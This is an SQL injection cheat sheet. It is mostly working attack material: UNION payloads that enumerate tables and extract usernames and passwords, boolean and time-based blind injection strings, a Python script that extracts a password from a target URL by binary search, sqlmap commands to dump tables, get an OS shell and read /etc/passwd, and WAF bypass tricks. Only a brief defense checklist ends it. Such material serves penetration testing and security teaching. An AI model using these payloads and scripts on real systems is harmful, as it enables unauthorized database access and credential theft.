SQL Injection: Exploitation & Defense In-Depth

# VULNERABLE
query = "SELECT * FROM users WHERE username = '" + username + "'"

# username = admin'--
# Result: SELECT * FROM users WHERE username = 'admin'--'
# '--' comments out the rest → password check removed

' ORDER BY 1--        (no error)
' ORDER BY 2--        (no error)
' ORDER BY 5--        (error → 4 columns)

-- Or with NULL:
' UNION SELECT NULL--           (error if 1 col)
' UNION SELECT NULL,NULL--      (error if 2 col)
' UNION SELECT NULL,NULL,NULL,NULL--  (works → 4 cols)

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--

-- List all tables
' UNION SELECT name,NULL,NULL,NULL FROM sqlite_master WHERE type='table'--

-- MySQL
' UNION SELECT table_name,NULL,NULL,NULL FROM information_schema.tables
  WHERE table_schema=database()--

-- List columns of a table
' UNION SELECT column_name,NULL,NULL,NULL
  FROM information_schema.columns WHERE table_name='users'--

-- Extract data
' UNION SELECT username,password,email,NULL FROM users--

-- SQLite
' UNION SELECT group_concat(username||':'||password),NULL,NULL,NULL FROM users--

-- MySQL
' UNION SELECT GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL,NULL,NULL FROM users--

-- Which DB?
' UNION SELECT @@version,NULL,NULL,NULL--          MySQL/MSSQL
' UNION SELECT version(),NULL,NULL,NULL--          PostgreSQL
' UNION SELECT sqlite_version(),NULL,NULL,NULL--   SQLite
' UNION SELECT NULL,NULL,NULL,NULL FROM dual--     Oracle (needs dual table)

-- Current user and DB
' UNION SELECT user(),database(),NULL,NULL--       MySQL
' UNION SELECT current_user,current_database(),NULL,NULL--  PostgreSQL

-- True: page loads normally
' AND 1=1--

-- False: page is empty / different
' AND 1=2--

-- Extract first char of admin password
' AND SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a'--
' AND SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='b'--
...

-- Binary search (much faster):
' AND ASCII(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)) > 64--
' AND ASCII(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)) > 96--
' AND ASCII(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)) > 112--

# Python binary search blind SQLi extractor
import requests

URL = "https://target/search"

def char_at(pos: int) -> str:
    lo, hi = 32, 126
    while lo <= hi:
        mid = (lo + hi) // 2
        payload = f"' AND ASCII(SUBSTR((SELECT password FROM users LIMIT 1),{pos},1)) > {mid}--"
        r = requests.get(URL, params={"q": payload})
        if "found" in r.text:  # true condition
            lo = mid + 1
        else:
            hi = mid - 1
    return chr(lo)

password = "".join(char_at(i) for i in range(1, 33))
print("Password:", password)

-- MySQL: SLEEP(5) if condition is true
' AND IF((SELECT COUNT(*) FROM users WHERE username='admin')>0, SLEEP(5), 0)--

-- PostgreSQL
' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users LIMIT 1)--

-- SQLite (no native sleep — use heavy computation)
' AND (SELECT CASE WHEN (1=1) THEN RANDOMBLOB(100000000) ELSE 1 END)--

-- Registration stores username with single quote:
username: admin'--

-- Login query using stored username (vulnerable):
query = "SELECT * FROM users WHERE username = '" + stored_username + "' AND active=1"
-- Executes: SELECT * FROM users WHERE username = 'admin'--' AND active=1
-- → bypasses active check!

-- Defense: parameterize ALL queries, including those using stored data

# Basic detection
sqlmap -u "https://target.com/search?q=test" --batch

# POST request
sqlmap -u "https://target.com/login" --data="user=test&pass=test" --batch

# Custom headers
sqlmap -u "https://target.com/api/user"   -H "Authorization: Bearer TOKEN"   -H "Content-Type: application/json"   --data='{"id": 1}' --batch

# Extract database
sqlmap -u "URL" --dbs                    # list databases
sqlmap -u "URL" -D mydb --tables         # list tables
sqlmap -u "URL" -D mydb -T users --dump  # dump table

# Specific injection technique
sqlmap -u "URL" --technique=U   # UNION only
sqlmap -u "URL" --technique=B   # Boolean only
sqlmap -u "URL" --technique=T   # Time-based only

# WAF bypass
sqlmap -u "URL" --tamper=space2comment,randomcase,between
sqlmap -u "URL" --random-agent --delay=2

# OS command (if DB allows)
sqlmap -u "URL" --os-shell   # try to get OS shell via DB
sqlmap -u "URL" --file-read="/etc/passwd"

-- 1. Case variation
SeLeCt * FrOm users

-- 2. Comments as whitespace
SELECT/**/username/**/FROM/**/users

-- 3. URL encoding
%27 = '    %20 = space    %23 = #

-- 4. Double URL encoding
%2527 = %27 (decoded to ') by second decode

-- 5. Unicode normalization
ＳＥＬＥＣＴ (full-width chars normalize to SELECT on some DBs)

-- 6. Alternative keywords
UNION ALL SELECT instead of UNION SELECT
0x61 instead of 'a' (hex string)

-- 7. HTTP parameter pollution
?id=1&id=2 UNION SELECT... (some parsers take last value, WAF checks first)

-- 8. Chunked encoding bypass
Transfer-Encoding: chunked — WAF may not reassemble

-- sqlmap tamper scripts
randomcase    → RaNdOm CaSe
space2comment → space → /**/
between       → > x → BETWEEN x AND x+1

✅ Parameterized queries / prepared statements (ALWAYS)
✅ ORM — Django/SQLAlchemy (use raw() with params only)
✅ Least privilege DB user (no CREATE TABLE, no FILE)
✅ Input validation (type, length, format — secondary defense)
✅ Error handling — never show DB errors to users
✅ WAF as additional layer (not sole defense)
✅ Monitor for SQLi patterns in logs
✅ Pen test / automated scan before production